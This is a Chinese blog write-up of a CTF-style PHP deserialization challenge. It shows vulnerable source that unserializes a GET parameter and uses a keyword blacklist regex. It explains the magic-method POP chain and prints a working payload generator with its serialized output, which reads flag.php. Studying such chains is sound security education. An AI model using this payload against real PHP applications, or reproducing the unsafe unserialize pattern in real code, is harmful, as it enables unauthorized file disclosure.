V3D4's Blog

安全技术记录/分享/交流

0%

关于pop链的学习

题目来源

2020-3-1-prontosil-反序列化与POP链

各种魔术方法的调用过程

1

这里__get()和__set的定义不准确

当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数。
当试图设置一个不可达属性时(比如private),类会自动调用__set函数

具体的给出一个链接,可以看这篇博客

PHP中的__get和__set理解

实例中pop链的构造

首先是源码(把题目手打了一遍emmmm)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(1);
class Read
{
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke()
{
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome.'."<br>";
}
public function __tostring()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',
$this->source)){
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|ftp|https|dict|\.\./i",
$this->source)){
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p= array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('test.php');
$show->_show();
}
?>

第一步从unserialize开始,当传入参数hello进行反序列化后,会调用下面这个__wakeup()魔术方法

1
2
3
4
5
6
7
8
public function __wakeup()
{
if(preg_match("/gopher|http|ftp|https|dict|\.\./i",
$this->source)){
echo "hacker";
$this->source = "index.php";
}
}

进入该方法后后会进行preg_match正则匹配,可以让这里的$this->source是被当作字符串来(也就是原本不是字符串要报错的那种,强制当成字符串),就可以进入下面这个__toString()方法

1
2
3
4
public function __tostring()
{
return $this->str['str']->source;
}

(这里是最不好理解的一步,我也不是太懂,一个变量还能取它的成员变量,php真神奇)

(后记之后:现在懂了,在payload中,往str[‘str’]的值里放了一个类,而这个类中没有source这个成员变量,于是它就是调用__get())

在这个方法中,会调用str数组中str这个key的值,str[‘str’]就是这个意思,str是一个数组,取里面’str’这个key的对应的值(这里它的值是一个类),就跟python里的字典是一个道理,具体的可以百度搜,然后再取这个对应的值(类)里面的source这个成员变量的值,是不存在的(payload中我们自己可以定义,所以让它不存在就行了),这个时候就会去进入Test类中的__get()魔术方法,如下

1
2
3
4
5
public function __get($key)
{
$function = $this->p;
return $function();
}

这个__get()魔术方法中把p的值赋给了$function并把它当作函数返回,于是会进入__invoke()这个魔术方法,如下

1
2
3
4
5
public function __invoke()
{
$content = $this->file_get($this->var);
echo $content;
}
1
2
3
4
5
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

在__invoke()中调用了file_get函数,而file_get函数则是用file_get_contents读取文件内容,其中提供给file_get的变量var是我们能控制(在payload中的Read类中定义的),就达到了读取文件的目的,至此pop链构造结束

总结一下就是__wakeup()-> __toString() -> __get ->__invoke -> file_get

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Show{
public $source;
public $str;
}

class Test{
public $p;
}

class Read{
public $var = "flag.php";
}

$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r;
$s->str['str'] = $t;
$s->source = $s;
var_dump(serialize($s));

输出

"O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}"

将这一串赋值给hello后即可读取flag中的内容,如下图

2

总结

3

3

说句实在话这payload也看的我一脸蒙蔽(后记之后:现在懂了),php真的是疯狂套娃,类可以直接赋值给变量就很骚,就像上面这个payload最后一步$s->source = $s;执行后$s里的source里永远都是它本身,疯狂套娃,可以看到上面的图片,总之payload就是要在搞清楚pop链之后,想办法如何取调用每一个魔术方法,以达到读取文件的目的,还是非常绕的,还得花更多时间研究php

后记

又去调试了解了一下,最后要$s->source = $s;,就是因为要将$s中的source变得无限套娃,这样它就不能正常被调用,只能当做字符串来处理,也就调用了__tostring(),__tostring就是要在无法正常调用时才会被触发,只能把这个对象当作字符串来处理,可以看下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Person{
private $name = "";

function __construct($name = ""){
$this->name = $name;
}
function say(){
echo "Hello,".$this->name."!<br/>";
}

function __tostring(){//在类中定义一个__toString方法
return "Hello,".$this->name."!<br/>";
}
}

$WBlog = new Person('WBlog');

echo $WBlog;//直接输出对象引用则自动调用了对象中的__toString()方法

$WBlog->say();//试比较一下和上面的自动调用有什么不同

程序输出:

Hello,WBlog!

Hello,WBlog!

如果不定义“__tostring()”方法会怎么样呢?例如在上面代码的基础上,把“ __tostring()”方法屏蔽掉,再看一下程序输出结果:

Catchable fatal error: Object of class Person could not be converted to string

由此可知如果在类中没有定义“__tostring()”方法,则直接输出以象的引用时就会产生误法错误,另外__tostring()方法体中需要有一个返回值。